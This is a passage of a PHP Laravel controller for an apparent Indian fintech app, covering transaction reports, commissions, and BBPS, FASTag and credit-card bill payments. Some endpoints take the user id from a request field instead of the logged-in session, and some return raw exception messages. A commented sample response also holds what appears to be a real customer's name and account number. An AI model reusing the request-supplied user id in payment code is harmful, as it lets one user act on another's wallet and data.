                $txnData = $txnData->offset($offset)->take($limit)->get();
                if($totalCount == 0)
                return response()->json(['status'=>'SUCCESS','message'=>'No Transactions found!!','data'=>['bbpsReport'=>[]],'error'=>false,'total_record'=>$totalCount]);
                foreach ($txnData as $tData)
                {
                    $opData = DB::table('bbpsnewop')->where('id',$tData->boperator)->first();
                    $tData->boperator = $opData->name;
                    $tData->displayName = $opData->displayname;
                }
                return response()->json(['status'=>'SUCCESS','message'=>'Transactions found!','data'=>['bbpsReport'=>$txnData],'error'=>false,'total_record'=>$totalCount]);
                break;
            case 'uti-coupon' :
                $txnData = DB::table('pancoupontxn')->where('uid',$uid)->orderBy('id', $orderType);
                if($search == null)
                $txnData->whereBetween('date', [$from, $to]);
                else
                $txnData->where('txnid','like','%'.$search.'%');
                $totalCount = $txnData->count();
                $txnData = $txnData->offset($offset)->take($limit)->get();
                if($totalCount == 0)
                return response()->json(['status'=>'SUCCESS','message'=>'No Transactions found!!','data'=>['utiReport'=>[]],'error'=>false,'total_record'=>$totalCount]);
                return response()->json(['status'=>'SUCCESS','message'=>'Transactions found!','data'=>['utiReport'=>$txnData],'error'=>false,'total_record'=>$totalCount]);
                break;
            case 'wallet' :
                $txnData = DB::table('wallet')->where('uid',$uid)->orderBy('id', $orderType);
                if($search == null)
                $txnData->whereBetween('date', [$from, $to]);
                else
                $txnData->where('txnid','like','%'.$search.'%');
                $totalCount = $txnData->count();
                $txnData = $txnData->offset($offset)->take($limit)->get();
                if($totalCount == 0)
                return response()->json(['status'=>'SUCCESS','message'=>'No Transactions found!!','data'=>['walletReport'=>[]],'error'=>false,'total_record'=>$totalCount]);
                return response()->json(['status'=>'SUCCESS','message'=>'Transactions found!','data'=>['walletReport'=>$txnData],'error'=>false,'total_record'=>$totalCount]);
                break;
            case 'wallet-to-wallet' :
                $txnData = DB::table('wallet_to_wallet')->where('sender',$uid)->orWhere('receiver',$uid)->orderBy('id', $orderType);
                if($search == null)
                $txnData->whereBetween('date', [$from, $to]);
                else
                $txnData->where('txnid','like','%'.$search.'%');
                $totalCount = $txnData->count();
                $txnData = $txnData->offset($offset)->take($limit)->get();
                if($totalCount == 0)
                return response()->json(['status'=>'SUCCESS','message'=>'No Transaction found!!','data'=>['walletToWalletReport'=>[]],'error'=>false,'total_record'=>$totalCount]);
                $txns = array();
                foreach ($txnData as $txn)
                {
                    $sender = User::select('name','phone')->where('id',$txn->sender)->first();
                    $receiver = User::select('name','phone')->where('id',$txn->receiver)->first();
                    $latestTxns = array(
                        'senderName' => $sender->name,
                        'senderPhone' => $sender->phone,
                        'receiverName' => $receiver->name,
                        'receiverphone' => $receiver->phone,
                        'type' => $txn->type,
                        'amount' => $txn->amount,
                        'date' => $txn->date,
                        'txnid' => $txn->txnid
                        );
                    $txns[] = $latestTxns;
                }
                return response()->json(['status'=>'SUCCESS','message'=>'Transactions found!','data'=>['walletToWalletReport'=>$txns],'error'=>false,'total_record'=>$totalCount]);
                break;
            default:
                return view('errors.404');
        }
        return $txnData;
	}
	public function commissionPlans(Request $res)
	{
	    
	    $user = $res->user();
	    $package = $user->package;
	    $tableData = DB::table('commtables')->select('id','table_name','bracket','label')->get();
	   // return $tableData;
	   $returnData = array();
	    foreach ($tableData as $tableData)
	    {
    	    $getDetails = DB::table($tableData->table_name)->where('package',$package)->get();
    	    if($tableData->bracket == 1)
    	    $getDetails = DB::table($tableData->table_name)->where('package',$package)->where('froma','!=',0)->get();
            if($tableData->id == 10)
            $getDetails = DB::table('comissionv2')->join('rechargeop', 'rechargeop.id', '=', 'comissionv2.operator')->where('comissionv2.package', '=', $package)->select("comissionv2.*","rechargeop.name as operator")->get();
            if($tableData->id == 13)
            $getDetails = DB::table('bbps')->join('bbpsnewop', 'bbpsnewop.id', '=', 'bbps.opid')->where('bbps.package', '=', $package)->select("bbps.*","bbpsnewop.name as opid")->get();
            if (Schema::hasTable($tableData->table_name)) {
                $columns = Schema::getColumnListing($tableData->table_name);
            }
            $elementsToRemove = ["id", "commission", "package"];
            $newColumn = array_diff($columns,$elementsToRemove);
            $newColumn = array_values($newColumn);
            // return $newColumn;
            $data = array(
                'label' => $tableData->label,
                'column' => $newColumn,
                'tableData' => $getDetails,
                );
            $returnData[] = $data;
            // print_r($data);
	    }
	    return response()->json(['status'=>'SUCCESS','message'=>'Commission and charges slabs','data'=>['commssionSlab'=>$returnData],'error'=>false]);
	}
	function services(Request $req)
	{
		//aeps / bbps/ utility 
		$user = $req->user();
		$serviceR = DB::table('service')->first();
		$services = [];

		if ($serviceR->aeps == 1 && $user->aeps == 1) {
			$services['aeps'] = [
				['type' => 'cw', 'name' => "Cash\nWithdrawal", 'icon' => url('assets/dist/images/new-folder/aeps.png')],
				['type' => 'ap', 'name' => "Aadhaar\nPay", 'icon' => url('assets/dist/images/new-folder/aeps.png')],
				['type' => 'be', 'name' => "Balance\nEnquery", 'icon' => url('assets/dist/images/new-folder/aeps.png')],
				['type' => 'ms', 'name' => "Mini\nStatements", 'icon' => url('assets/dist/images/new-folder/aeps.png')],
			];
		}
		
//         if ($serviceR->bbps == 1 && $user->bbps == 1) {
// 				$services['bbps'] = DB::table('bbps_categorie')->whereNotIn('id', [10])->select('name', 'icon', 'cat_id as type')->orderBy('cat_id','asc')->limit(8)->get();
// 		}
        if ($serviceR->bbps == 1 && $user->bbps == 1) {
            $services['bbps'] = DB::table('bbps_categorie')
                ->whereNotIn('id', [10])
                ->select(
                    'name',
                    'icon',
                    DB::raw('CAST(cat_id AS CHAR) as type')
                )
                ->orderBy('cat_id', 'asc')
                ->limit(8)
                ->get();
        }
		
		if ($serviceR->recharge == 1 && $user->recharge == 1) {
			$services['utility'][] = ['type' => 'rech', 'name' => "Mobile Recharge", 'icon' => url('assets/dist/images/new-folder/recharge-blue.png')];
		}
		
		if ($serviceR->recharge == 1 && $user->recharge == 1) {
			$services['utility'][] = ['type' => 'dth', 'name' => "DTH Recharge", 'icon' => url('assets/dist/images/new-folder/recharge-blue.png')];
		}
		
		if ($serviceR->dmt == 1 && $user->dmt == 1) {
			$services['utility'][] = ['type' => 'dmt', 'name' => "Money Transfer", 'icon' => url('assets/dist/images/new-folder/Group%20302%20(1).png')];
		}
		if ($serviceR->payout == 1 && $user->payout == 1) {
			$services['utility'][] = ['type' => 'payout', 'name' => "Payout", 'icon' => url('assets/dist/images/new-folder/Group%20144%20(1).png')];
		}
// 		if ($serviceR->qtransfer == 1 && $user->qtransfer == 1) {
// 			$services['utility'][] = ['type' => 'qt', 'name' => "Quick Transfer", 'icon' => url('assets/dist/images/new-folder/Vector%20(3).png')];
// 		}
// 		if ($serviceR->uti == 1 && $user->uti == 1) {
// 			$services['utility'][] = ['type' => 'uti', 'name' => "UTI", 'icon' => url('assets/dist/images/new-folder/uti-blue.png')];
// 		}
// 		$services['other'][] = ['type' => 'pan', 'name' => "PAN Verification", 'icon' => url('assets/dist/images/new-folder/Vector%20(3).png')];
		$services['other'][] = ['type' => 'fastag', 'name' => "FastTag", 'icon' => url('assets/dist/images/new-folder/Vector%20(3).png')];
		$services['other'][] = ['type' => 'credit_card', 'name' => "Credit Card Bill Payment", 'icon' => url('assets/dist/images/new-folder/Vector%20(3).png')];
// 		$services['other'][] = ['type' => 'TF', 'name' => "Itr Form", 'icon' => url('assets/dist/images/new-folder/Vector%20(3).png')];
		$baseUrl=url('/')."/";
		$services['banners']=DB::table('settings')->selectRaw("id,name,value as filepath")->whereIn('name',['banner1','banner2','banner3'])->get();
		// $user->refresh();
		$news = Setting::where('name', 'news')->pluck('value');
		
		if(!isset($services['bbps']))
		$services['bbps']=[];
		if(!isset($services['utility']))
		$services['utility']=[];
		if(!isset($services['aeps']))
		$services['aeps']=[];
		return response()->json(['status' => 'SUCCESS', 'message' => 'Services fetched', 'data' => $services, 'news' => $news[0], 'lock_amt' => round($user->lamount, 2), 'walletBalance' => round($user->wallet, 2)]);
	}
	
	
		public function bbpsAllBillers(Request $req)
    {
        $user = $req->user();
		$serviceR = DB::table('service')->first();
		$services = [];
		if ($serviceR->bbps == 1 && $user->bbps == 1) {
			$services['bbps'] =  DB::table('bbps_categorie')->whereNotIn('id', [10])->orderBy('cat_id','asc')->get();
		}
		if(!isset($services['bbps']))
		$services['bbps']=[];
		return response()->json(['status' => 'SUCCESS', 'message' => 'Services fetched', 'data' => $services]);
    }
    
    	 public function bbps_billers(Request $req)
   {
   	
		    // Validate request
		    $validator = Validator::make($req->all(), [
		        'type' => 'required'
		    ]);
		
		    if ($validator->fails()) {
		        return response()->json(['status' => "ERROR", 'message' => $validator->errors()->first(), 'info' => $validator->errors()], 400);
		    }
		
		    // Get billers of given category
		    $billers = DB::table('bbps_all_biller')
		        ->select('id', 'cat_id', 'biller_id','name','accept_adhoc_payment','payment_amt_exactness','mode') // Select only required columns
		        ->where('cat_id', $req->type)
		        ->get(); // Get all records
		        
		      
		    return response()->json([
		        'status' => 'SUCCESS',
		        'message' => 'Services fetched',
		        'data' => ['biller_list' => $billers]
		    ]);
		    
}

     	 public function fetch_param(Request $req)
   {
             
		    $validator = Validator::make($req->all(), [
		        'type' => 'required'
		    ]);
		
		    if ($validator->fails()) {
		        return response()->json(['status' => "ERROR", 'message' => $validator->errors()->first(), 'info' => $validator->errors()], 400);
		    }
		
		     $billerId = $req->type;
		     $getDetails = DB::table('bbps_all_biller')->where('id',$billerId)->first();
		
		  if($getDetails->params == "")
        {
            $url = 'https://xapi.ecuzen.in/api/bbps/biller_params';
          
              $sendingData = [
            	'biller_id' => $getDetails->biller_id
            	];
            	
            
            $response = $this->callApi($url,'POST',json_encode($sendingData),'p');
            
            $response = json_decode($response);
            if($response->status == 'SUCCESS')
            {
            	$updatedata = [
            		'params' => $response->info
            		];
            	DB::table('bbps_all_biller')->where('id',$billerId)->update($updatedata);
            }else{
            	 return response()->json(['status'=>'ERROR','message'=>'Contact to admin']);
            }
        }
        
     $getDetails = DB::table('bbps_all_biller')->where('id',$billerId)->first();
    
		return response()->json([
		    'status' => 'SUCCESS',
		    'message' => 'Services fetched',
		    'data' => ['params' => json_decode($getDetails->params, true) ?? []] // Decode JSON & handle null case
		]);

}
     
    
	function bbps_fetch_bill(Request $res)
	{
		$data = $res->all();
        $getDetails = DB::table('bbps_all_biller')->where('id',$data['biller_id'])->first();
        
            $customer_data = [];

			$fields = ['param1', 'param2', 'param3', 'param4'];
			
			foreach ($fields as $field) {
			    if (!empty($res->$field)) {
			        $customer_data[] = $res->$field;
			    }
			}
			
		$user = $res->user();
		$uid = $user->id;
        $check = $this->checkservice('bbps',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message]);
		$api_key = DB::table('settings')->where('name','api_key')->first()->value;
            $url = 'https://api.ecuzen.in/v1/api/bbps/fetch_bill';
        $txnid = uniqid();
        $sendingData = [
            	'mobile' => $user->phone,
            	'biller_id' => $getDetails->biller_id,
            	'customer_data' => $customer_data
            	];
             $url = 'https://xapi.ecuzen.in/api/bbps/fetch_bill';
            $response = $this->callApi($url,'POST',json_encode($sendingData),'p');
 	        /* $response = '{"status":"FAILED","msg":"Incorrect \/ invalid Customer account","info":[],"status_code":13}';*/
           /* $response = '{"status":"SUCCESS","msg":"Bill fetched successfully","trace_id":"TSBc8f92228981a4c77bb1ad94950371525","data":{"ResponseCode":"000","ResponseMessage":"Successful","TransactionId":"TSBc8f92228981a4c77bb1ad94950371525","CustomerName":"SMT.UMA DEVI","BillNumber":"022523109","BillPeriod":"NA","BillDate":"02\/02\/2025","BillDueDate":"12\/02\/2025","BillAmount":"1006.00","CustomerParamsDetails":[{"Name":"K Number","Value":"211463058387"}],"BillDetails":[],"AdditionalDetails":[]}}';*/
		$response = json_decode($response);
		if ($response->status != 'SUCCESS') {
			return response()->json(['status' => 'ERROR', 'message' => $response->msg],400);
		}
		$billData = $response->data;
        $paramDetails = $billData->CustomerParamsDetails;
        $paramdetails = [];
        foreach ($paramDetails as $data) {
            $paramdetails[] = ['name' => $data->Name, 'value' => $data->Value];
        }
        $fetchdata = array(
            'message' =>$response->msg,
            'name' => $billData->CustomerName??'NA',
            'billNumber' => $billData->BillNumber,
            'paramdetails' => $paramdetails,
            'item1' => 'Bill Date',
            'item1value' => $billData->BillDate,
            'item2' => 'Due Date',
            'item2value' => $billData->BillDueDate,
            'item3' => 'Amount',
            'item3value' => $billData->BillAmount,
            'support' => DB::table('settings')->where('name','cemail')->first()->value,
            'skey' => $response->trace_id,
			'traceid' => $response->trace_id,
        );
		try {
			$ongp = \App\Models\Ongp::create(['uid' => $user->id, 'data' => json_encode($billData)]);
			return response()->json(['status' => 'SUCCESS', 'message' => 'Bill fetched', 'data' => ['fetchdata'=>$fetchdata], 'skey' => $response->trace_id]);
		} catch (Qx $e) {
			return response()->json(['status' => 'ERROR', 'message' => $e->getMessage()], 500);
		}
	}
	
	public function bbps_pay_bill(Request $res)
	  {
	    try {
            $data = $res->all();
            $getDetails = DB::table('bbps_all_biller')->where('id',$data['biller_id'])->first();
              $customer_data = [];
			$fields = ['param1', 'param2', 'param3', 'param4'];
			foreach ($fields as $field) {
			    if (!empty($res->$field)) {
			        $customer_data[] = $res->$field;
			    }
			  }
            // $amount = $res->amount;
            $traceid = $res->traceid;
            $amount = $res->amount;
            $user = $res->user();
            $uid = $user->id;
            $user = DB::table('users')->where('id',$uid)->first();
            $check = $this->checkservice('bbps',$uid);
            if($check->status == 'ERROR')
            return response()->json(['status'=>'INFO','message'=>$check->message]);
            $wallet = $this->checkwallet($uid);
            if($wallet < $amount)
            return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet please recharge your wallet!!'],402);
            $opid = DB::table('bbps_categorie')->where('cat_id',$getDetails->cat_id)->pluck('id')[0];

            $commission = DB::table('bbps')->where('package',$user->package)->where('opid',$opid)->first();
            $commissionAmount = 0;
            if($commission != null || $commission != "")
            {
                if($commission->percent == 1)
                    $commissionAmount = $amount * ($commission->amount / 100);
                else
                    $commissionAmount = $commission->amount;
            }
            $temptxnid = 'BBPS'.rand(1000000000,9999999999);
            #api call
           
         $url = 'https://xapi.ecuzen.in/api/bbps/pay_bill';
         
           $sendinDdata = [
	            	'mobile' => $user->phone,
	            	'biller_id' => $getDetails->biller_id,
	            	'customer_data' => $customer_data,
	            	'trace_id' => $traceid,
	            	'amount' => $amount,
	             	'txnid' => $temptxnid
            	];
            #Transaction entry
            $txnEntry = array(
                'uid' => $uid,
                'txnid' => $temptxnid,
                'status' => 'PENDING',
                'amount' => $amount,
                'response' => '',
                'canumber' => $data['param1']??null,
                'boperator' => $getDetails->id,
                "req" => json_encode($sendinDdata),
                );
            $this->insertdata('bbpstxn',$txnEntry);
            #debit section
            $this->debitEntry($uid,'BBPS',$temptxnid,$amount);
        
            
            $response = $this->callApi($url,'POST',json_encode($sendinDdata),'p');
        
          
          /*$response = '{"status": "SUCCESS","msg": "payment Successful","data": {"txnid": "JHWEJHWFEGHWE","amount": 2,"status": "SUCCESS"}}';*/
           
            $response = json_decode($response);
           
            if($response->status == 'SUCCESS')
            {
            	$info = $response->data;
                # data to be updated 
                $updateData = array(
                    'status' => $response->status,
                    'response' => json_encode($response),
                    );
                DB::table('bbpstxn')->where('txnid', $temptxnid)->update($updateData);
                $this->creditEntry($uid,'BBPS-COMMISSION',$temptxnid,$commissionAmount);
                $this->distributeComm($uid,'BBPS-COMMISSION','bbps',$amount,$temptxnid,$opid);
                $data = array(
                    'date' => Carbon::now()->format('Y-m-d H:i:s'),
                    'name' => 'NA'??'NA',
                    'txnid' => $info->txnid,
                    'status' => $response->status,
                    'message' => $response->msg,
                    'item1' => 'BBPS',
                    'item2' => 'BBPS-COMMISSION',
                    'amount1' => $amount,
                    'amount2' => $commissionAmount,
                    'total' => $amount - $commissionAmount,
                    'support' => DB::table('settings')->where('name','cemail')->first()->value,
                );
			$latestTransactions = DB::table('bbpstxn')->join('bbps_all_biller','bbps_all_biller.id','=','bbpstxn.boperator')->where('uid',$user->id)->select('bbpstxn.txnid','bbpstxn.status','bbpstxn.amount','bbpstxn.canumber','bbpstxn.boperator','bbpstxn.date','bbps_all_biller.name as operatorName')->orderBy('bbpstxn.id', 'desc')->take(5)->get();
			$data = array(
			    'bbpsrecent' => $latestTransactions
			    );
			return response()->json(['status' => 'SUCCESS', 'message' => 'Transaction SUCCESS', 'walletBalance' =>(double) $wallet + $commissionAmount - $amount,'data'=>$data], 200);
            }
            else
            {
                $updateData = array(
                    'status' => $response->status,
                    'response' => json_encode($response),
                    );
                DB::table('bbpstxn')->where('txnid', $temptxnid)->update($updateData);
                $this->creditEntry($uid,'BBPS-REFUND',$temptxnid,$amount);
               	$latestTransactions = DB::table('bbpstxn')->join('bbps_all_biller','bbps_all_biller.id','=','bbpstxn.boperator')->where('uid',$user->id)->select('bbpstxn.txnid','bbpstxn.status','bbpstxn.amount','bbpstxn.canumber','bbpstxn.boperator','bbpstxn.date','bbps_all_biller.name as operatorName')->orderBy('bbpstxn.id', 'desc')->take(5)->get();
			$data = array(
			    'bbpsrecent' => $latestTransactions
			    );
			return response()->json(['status' => $response->status, 'message' => $response->msg??'NA', 'walletBalance' => (double)$user->wallet ,'data'=>$data], 400);
            }
        }
        catch (\Exception $e)
        {
			return response()->json(['status' => 'ERROR', 'message' => $e->getMessage()], 400);
        }
	}
	
		public function subscription(Request $req)
    {
        $validator = Validator::make($req->all(), [
	        'type' => 'required'
	    ]);
	
	    if ($validator->fails()) {
	        return response()->json(['status' => "ERROR", 'message' => $validator->errors()->first(), 'info' => $validator->errors()], 400);
	    }

        $type = $req->type;
        
        $cat_key = $type === 'fastag' ? '10' : '19';
    
        $fetchdata = DB::table('bbps_all_biller')
            ->where('cat_id', $cat_key)
            ->orderBy('name', 'asc')
            ->get();
        
        $category = DB::table('bbps_categorie')->where('cat_id', $cat_key)->first();
        
        return response()->json([
            'status'  => 'SUCCESS',
            'message' => 'List Fetched Successfully',
            'data'    => ['type' => $type,'category_id'    => $cat_key,'category_name'  => $category ? $category->name : 'Unknown','records' => $fetchdata],], 200);
    }
    
    public function get_details(Request $req)
    {   
         $validator = Validator::make($req->all(), [
	        'type' => 'required',
	        'id' => 'required'
 	    ]);
	
	    if ($validator->fails()) {
	        return response()->json(['status' => "ERROR", 'message' => $validator->errors()->first(), 'info' => $validator->errors()], 400);
	    }

        $id = $req->id;
        $type = $req->type;
        $getDetails = DB::table('bbps_all_biller')->where('id', $id)->first();
        
        if (!$getDetails) {
            return response()->json(['status'  => 'ERROR','message' => 'Biller not found','data'    => []], 404);
        }
    
        if ($getDetails->mode != 1) {
            return response()->json(['status'  => 'ERROR','message' => 'Biller is inactive','data'    => []], 405);
        }
    
        $params = json_decode($getDetails->params, true);
        $getDetails->params = is_array($params) ? $params : [];
        
        $getDetails->fetch_bill = ($getDetails->accept_adhoc_payment == 1) ? 1 : 0;
        
        return response()->json(['status'  => 'SUCCESS',
            'message' => 'Biller Details successfully!!',
            'data'    => [
                'type'           => $type,
                'biller_details' => $getDetails
            ]
        ], 200);
    }
    
    public function subscription_fetch_bill(Request $res)
    {
        try {
            $data = $res->all();
    
            if (empty($data['billerId'])) {
                return response()->json(['status' => 'ERROR','message' => 'Biller ID is required','data' => []], 400);
            }
    
            $getDetails = DB::table('bbps_all_biller')->where('id', $data['billerId'])->first();
    
            if (!$getDetails) {
                return response()->json(['status' => 'ERROR','message' => 'Biller not found','data' => []], 404);
            }
    
            $customer_data = [];
            for ($i = 1; $i <= 4; $i++) {
                $field = 'param' . $i;
                if ($res->filled($field)) {
                    $customer_data[] = $res->$field;
                }
            }
    
            $uid = $res->uid;
            $user = DB::table('users')->where('id', $uid)->first();
    
            if (!$user) {
                return response()->json(['status' => 'ERROR','message' => 'User not found','data' => []], 401);
            }
    
            $check = $this->checkservice('bbps', $uid);
            if ($check->status == 'ERROR') {
                return response()->json(['status' => 'INFO','message' => $check->message,'data' => []]);
            }
    
            if ($getDetails->cat_id == 10) {
                $url = 'https://xapi.ecuzen.in/api/fasttag/fetch_bill';
            } elseif ($getDetails->cat_id == 19) {
                $url = 'https://xapi.ecuzen.in/api/credit_card/fetch_bill';
            } else {
                return response()->json(['status' => 'ERROR','message' => 'Unsupported category','data' => []]);
            }
    
            $sendingData = [
                'mobile'        => $user->phone,
                'biller_id'     => $getDetails->biller_id,
                'customer_data' => $customer_data
            ];
            
            $apiResponse = $this->callApi($url,'POST',json_encode($sendingData),'p');
            
            $response = json_decode($apiResponse);
    
            if (!$response || $response->status != 'SUCCESS') {
                return response()->json(['status' => 'INFO','message' => $response->msg ?? 'Unable to fetch bill','data' => []]);
            }
    
            $billData = $response->data;
    
            $paramdetails = [];
            if (!empty($billData->CustomerParamsDetails)) {
                foreach ($billData->CustomerParamsDetails as $pd) {
                    $paramdetails[] = [
                        'name'  => $pd->Name,
                        'value' => $pd->Value
                    ];
                }
            }
    
            $fetchdata = [
                'message'       => $response->msg,
                'customer_name' => $billData->CustomerName ?? 'NA',
                'bill_number'   => $billData->BillNumber ?? null,
                'bill_date'     => $billData->BillDate ?? null,
                'due_date'      => $billData->BillDueDate ?? null,
                'amount'        => $billData->BillAmount ?? 0,
                'params'        => $paramdetails,
                'support'       => DB::table('settings')
                                      ->where('name', 'cemail')
                                      ->value('value') ?? 'support@example.com',
                'trace_id'      => $response->trace_id ?? null,
                'mode'          => $getDetails->mode
            ];
    
            return response()->json(['status'  => 'SUCCESS','message' => 'Bill fetched successfully','data' => array('cfDetails' =>[$fetchdata])], 200);
    
        } catch (\Exception $e) {
            return response()->json([
                'status' => 'ERROR',
                'message' => $e->getMessage(),
                'data' => []
            ], 500);
        }
    }
    
    public function subscription_pay_bill(Request $res)
	{
	    try {
	        
	        $data = $res->all();
	        if (empty($data['billerId'])) {
                return response()->json(['status' => 'ERROR','message' => 'Biller ID is required','data' => []], 400);
            }
	        
            $getDetails = DB::table('bbps_all_biller')->where('id',$data['billerId'])->first();
              $customer_data = [];
			$fields = ['param1', 'param2', 'param3', 'param4'];
			foreach ($fields as $field) {
			    if (!empty($res->$field)) {
			        $customer_data[] = $res->$field;
			    }
			  }
            // $amount = $res->amount;
            $traceid = $res->traceid;
            $amount = $res->amount;
            $user = $res->user();
            $uid = $user->id;
            $user = DB::table('users')->where('id',$uid)->first();
            $check = $this->checkservice('bbps',$uid);
            if($check->status == 'ERROR')
            return response()->json(['status'=>'INFO','message'=>$check->message]);
            $wallet = $this->checkwallet($uid);
            if($wallet < $amount)
            return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet please recharge your wallet!!'],402);
            $opid = DB::table('bbps_categorie')->where('cat_id',$getDetails->cat_id)->pluck('id')[0];

            $commission = DB::table('bbps')->where('package',$user->package)->where('opid',$opid)->first();
            $commissionAmount = 0;
            if($commission != null || $commission != "")
            {
                if($commission->percent == 1)
                    $commissionAmount = $amount * ($commission->amount / 100);
                else
                    $commissionAmount = $commission->amount;
            }
            $temptxnid = 'BBPS'.rand(1000000000,9999999999);
            #api call
           
        //  $url = 'https://xapi.ecuzen.in/api/bbps/pay_bill';
        
         if($getDetails->cat_id == 10) {
         
         $url = 'https://xapi.ecuzen.in/api/fasttag/pay_bill';
         
         } elseif ($getDetails->cat_id == 19) {
         
         $url = 'https://xapi.ecuzen.in/api/credit_card/pay_bill';
         
         } else {
         
          return response()->json(['status' => 'ERROR','message' => 'Unsupported category']);
         }
            
           $sendinDdata = [
	            	'mobile' => $user->phone,
	            	'biller_id' => $getDetails->biller_id,
	            	'customer_data' => $customer_data,
	            	'trace_id' => $traceid,
	            	'amount' => $amount,
	             	'txnid' => $temptxnid
            	];
            #Transaction entry
            $txnEntry = array(
                'uid' => $uid,
                'txnid' => $temptxnid,
                'status' => 'PENDING',
                'amount' => $amount,
                'response' => '',
                'canumber' => $data['param1']??null,
                'boperator' => $getDetails->id,
                "req" => json_encode($sendinDdata),
                );
            $this->insertdata('bbpstxn',$txnEntry);
            #debit section
            $this->debitEntry($uid,'BBPS',$temptxnid,$amount);
        
            $response = $this->callApi($url,'POST',json_encode($sendinDdata),'p');
            // $response = '{"status":"SUCCESS","msg":"payment Successful","data":{"txnid":"BBPS5717834624","amount":"100.00","status":"SUCCESS"}}';
            $response = json_decode($response);
        

            if($response->status == 'SUCCESS')
            {
            	$info = $response->data;
                # data to be updated 
                $updateData = array(
                    'status' => $response->status,
                    'response' => json_encode($response),
                    );
                DB::table('bbpstxn')->where('txnid', $temptxnid)->update($updateData);
                $this->creditEntry($uid,'BBPS-COMMISSION',$temptxnid,$commissionAmount);
                $this->distributeComm($uid,'BBPS-COMMISSION','bbps',$amount,$temptxnid,$opid);
                $data = array(
                    'date' => Carbon::now()->format('Y-m-d H:i:s'),
                    'name' => 'NA'??'NA',
                    'txnid' => $info->txnid,
                    'status' => $response->status,
                    'message' => $response->msg,
                    'item1' => 'BBPS',
                    'item2' => 'BBPS-COMMISSION',
                    'amount1' => $amount,
                    'amount2' => $commissionAmount,
                    'total' => $amount - $commissionAmount,
                    'support' => DB::table('settings')->where('name','cemail')->first()->value,
                );
			$latestTransactions = DB::table('bbpstxn')->join('bbps_all_biller','bbps_all_biller.id','=','bbpstxn.boperator')->where('uid',$user->id)->select('bbpstxn.txnid','bbpstxn.status','bbpstxn.amount','bbpstxn.canumber','bbpstxn.boperator','bbpstxn.date','bbps_all_biller.name as operatorName')->orderBy('bbpstxn.id', 'desc')->take(5)->get();
			$data = array(
			    'bbpsrecent' => $latestTransactions
			    );
			return response()->json(['status' => 'SUCCESS', 'message' => 'Transaction SUCCESS', 'walletBalance' =>(double) $wallet + $commissionAmount - $amount,'data'=>$data], 200);
            }
            else
            {
                $updateData = array(
                    'status' => $response->status,
                    'response' => json_encode($response),
                    );
                DB::table('bbpstxn')->where('txnid', $temptxnid)->update($updateData);
                $this->creditEntry($uid,'BBPS-REFUND',$temptxnid,$amount);
               	$latestTransactions = DB::table('bbpstxn')->join('bbps_all_biller','bbps_all_biller.id','=','bbpstxn.boperator')->where('uid',$user->id)->select('bbpstxn.txnid','bbpstxn.status','bbpstxn.amount','bbpstxn.canumber','bbpstxn.boperator','bbpstxn.date','bbps_all_biller.name as operatorName')->orderBy('bbpstxn.id', 'desc')->take(5)->get();
			$data = array(
			    'bbpsrecent' => $latestTransactions
			    );
			return response()->json(['status' => $response->status, 'message' => $response->msg??'NA', 'walletBalance' => (double)$user->wallet ,'data'=>$data], 400);
            }
        }
        catch (\Exception $e)
        {
			return response()->json(['status' => 'ERROR', 'message' => $e->getMessage()], 400);
        }
	}

    
	protected function ptype($q)
	{
	    $numeric = ['no','NUMBER','number','mobile','phone','NO','MOBILE','phone','Mobile','Phone','Number'];
	    $date = ['date','DATE','Date'];
	    
	    foreach ($numeric as $substring) {
            if (Str::contains($q, $substring)) {
                return 'number';
                break;
            }
        }
        foreach ($date as $substring) {
            if (Str::contains($q, $substring)) {
                return 'date';
                break;
            }
        }
        return 'text';
	}
	
	
	
	public function addfundBankList()
	{
	    $banks = DB::table('bank')->get();
		$data = array(
			'addfundBanks' => $banks
		);
		return response()->json(['status' => 'SUCCESS', 'error' => false, 'message' => 'Accounts fetched successfully!!', 'data' => $data], 200);
	}
	# AEPS section
	public function checkKyc(Request $res)
	{
	    $uid = $res->uid;
	    #check kyc is done or not
	    $checkRow = Aeps::where('uid',$uid)->first();
	    if($checkRow == "" || $checkRow == null)
	    {
	        $kycStatus = 'NO';
	        $tfa = false;
	        $aptfa = false;
	    }
	    elseif ($checkRow->status == 1 || $checkRow->status == 2) {
	        $kycStatus = 'PENDING';
	        $tfa = false;
	        $aptfa = false;
	    }
	    else
	    {
	        $kycStatus = 'YES';
	        $tfaDate = Carbon::parse($checkRow->tfadate)->toDateString();
            $current = date('Y-m-d', strtotime(Carbon::now()));
            if($current != $tfaDate)
            $tfa = false;
            else
            $tfa = true;
            #check for Aadhar pay TFA
            $aptfaDate = Carbon::parse($checkRow->aptfa)->toDateString();
            if($current != $aptfaDate)
            $aptfa = false;
            else
            $aptfa = true;
	    }
	    return response()->json(['status'=>'SUCCESS','message'=>'Aeps status fetched successfully','aepsStatus'=>$kycStatus,'tfa'=>$tfa,'aptfa'=>$aptfa,'error'=>false]);
	    
	}
	
	
	   public function aepskyc(Request $res)
    {
        $user = $res->user();
        $uid =  $user->id;
        $validator = Validator::make($res->all(), [
                'first_name' => 'required|string',
                'last_name' => 'required|string',
                'shop_photo' => 'required',
                'companyBankAccountNumber' => 'required',
                'bankIfscCode' => 'required',
                'companyBankName' => 'required',
                'bankAccountHolderName' => 'required',

                // 'name' => 'required|string',
                'aadhar' => 'required|numeric:digits:12',
                'email' => 'required|email',
                'pincode' => 'required|numeric|digits:6',
                'address' => 'required|string',
                'pan' => 'required|string',
                'phone' => 'required|numeric|digits:10',
                'shopname' => 'required|string',
                'city' => 'required|string',
                'state' => 'required|numeric|not_in:0',
                'lat' => 'required',
                'log' => 'required',
            ]);
            $validator->setCustomMessages([
            'state.not_in' => 'Please select a state.',
            'shopname.required' => 'Please enter your complete shop name',
            'city.required' => 'Please enter your complete city name',
        ]);
        if ($validator->fails()) {
            $errors = $validator->errors();
            return response()->json(['status'=>'ERROR','data' => $errors], 400);
        }
        $name = $res->first_name . $res->last_name;
        $first_name = $res->first_name;
        $last_name = $res->last_name;
        $companyBankAccountNumber = $res->companyBankAccountNumber;
        $bankIfscCode = $res->bankIfscCode;
        $companyBankName = $res->companyBankName;
        $bankAccountHolderName = $res->bankAccountHolderName;
       
       
        $aadhar = $res->aadhar;
        $name = $name;
        $email = $res->email;
        $pincode = $res->pincode;
        $address = $res->address;
        $pan = $res->pan;
        $phone = $res->phone;
        $shopname = $res->shopname;
        $city = $res->city;
        $state = $res->state;
        #check for already registered or not
